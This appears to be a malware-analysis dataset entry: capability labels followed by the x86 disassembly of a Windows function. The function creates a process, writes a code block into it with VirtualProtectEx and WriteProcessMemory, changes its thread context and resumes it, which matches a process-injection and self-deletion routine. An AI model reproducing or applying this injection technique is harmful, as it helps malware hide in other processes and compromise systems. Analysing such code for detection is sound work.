Function at 0x4064d2
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
mov eax, 0x42f99f
call fcn.00423e18
sub esp, 0xebc
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jb 0x4064f6
xor al, al
jmp 0x4067c7
xor ebx, ebx
lea eax, [ebp - 0x11]
mov edi, 0x4324bc
mov esi, 0x4324b4
push ebx
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x30], esi
call fcn.004025fd
lea eax, [ebp - 0x5c]
push 0x104
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], ebx
call fcn.0040282a
mov dword [ebp - 0x10], eax
mov ecx, dword [eax]
mov byte [ebp - 4], 1
call fcn.00403e77
mov ecx, dword [ebp - 0x10]
push 0x104
push eax
push ebx
mov dword [ecx + 8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], bl
call fcn.004029cf
push ebx
lea eax, [ebp - 0x84]
push ebx
push eax
lea ecx, [ebp - 0x50]
call fcn.00403a08
sub esp, 0x28
lea eax, [ebp - 0x50]
mov dword [ebp - 0x10], esp
mov ecx, esp
push ebx
push eax
mov byte [ebp - 4], 2
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.0040293c
call fcn.0041e80c
add esp, 0x28
cmp al, bl
jne 0x4065c0
cmp byte [ebp + 8], bl
je 0x4067a6
sub esp, 0x28
lea eax, [ebp - 0x84]
mov dword [ebp - 0x10], esp
mov ecx, esp
push ebx
push eax
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.0040293c
call fcn.0041e80c
add esp, 0x28
cmp al, bl
je 0x4067a6
mov esi, 0x438138
lea edi, [ebp - 0x1cc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x3d
xor eax, eax
pop ecx
lea edi, [ebp - 0x1bf]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x44
pop edx
stosb byte es:[edi], al
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0xc4]
mov dword [ebp - 0xc8], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xc8]
push eax
push ebx
push ebx
push edx
push ebx
push ebx
lea eax, [ebp - 0x1cc]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x406620
mov byte [ebp + 0xb], bl
jmp 0x4067aa
mov ecx, 0x28a
xor eax, eax
lea edi, [ebp - 0xec4]
mov dword [ebp - 0xec8], ebx
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, 0x104
mov dword [ebp - 0x6c0], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x6bc], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x6b8], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [ebp - 0x6b4], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x6b0], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x6ac], eax
mov al, byte [ebp + 8]
push esi
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x6a4], al
call fcn.00403e77
push eax
lea eax, [ebp - 0x6a3]
push eax
call fcn.00424070
add esp, 0xc
cmp byte [ebp + 8], bl
je 0x4066c0
push esi
lea ecx, [ebp - 0x84]
call fcn.00403e77
push eax
lea eax, [ebp - 0x59f]
push eax
call fcn.00424070
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push ebx
lea eax, [ebp - 0x6c4]
push ebx
push eax
push dword [ebp - 0x24]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x40686f
mov eax, 0x4067d6
sub ecx, eax
cmp ecx, 0x800
ja 0x406618
push ecx
push eax
lea eax, [ebp - 0xec4]
push eax
call fcn.00424840
add esp, 0xc
lea eax, [ebp - 0x498]
mov dword [ebp - 0x498], 0x10003
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x3d4]
mov edi, 0xa2d
lea esi, [eax - 0xa2d]
and esi, 0xffffffe0
mov dword [ebp - 0xec8], esi
lea eax, [esi - 4]
mov dword [ebp - 0x3d4], eax
lea eax, [esi + 4]
mov dword [ebp - 0x3e0], eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push edi
push esi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
lea eax, [ebp - 0xec8]
push edi
push eax
push esi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
push esi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x498]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x24]
call esi
mov byte [ebp + 0xb], 1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], bl
call fcn.00401d2a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.00401d2a
mov al, byte [ebp + 0xb]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret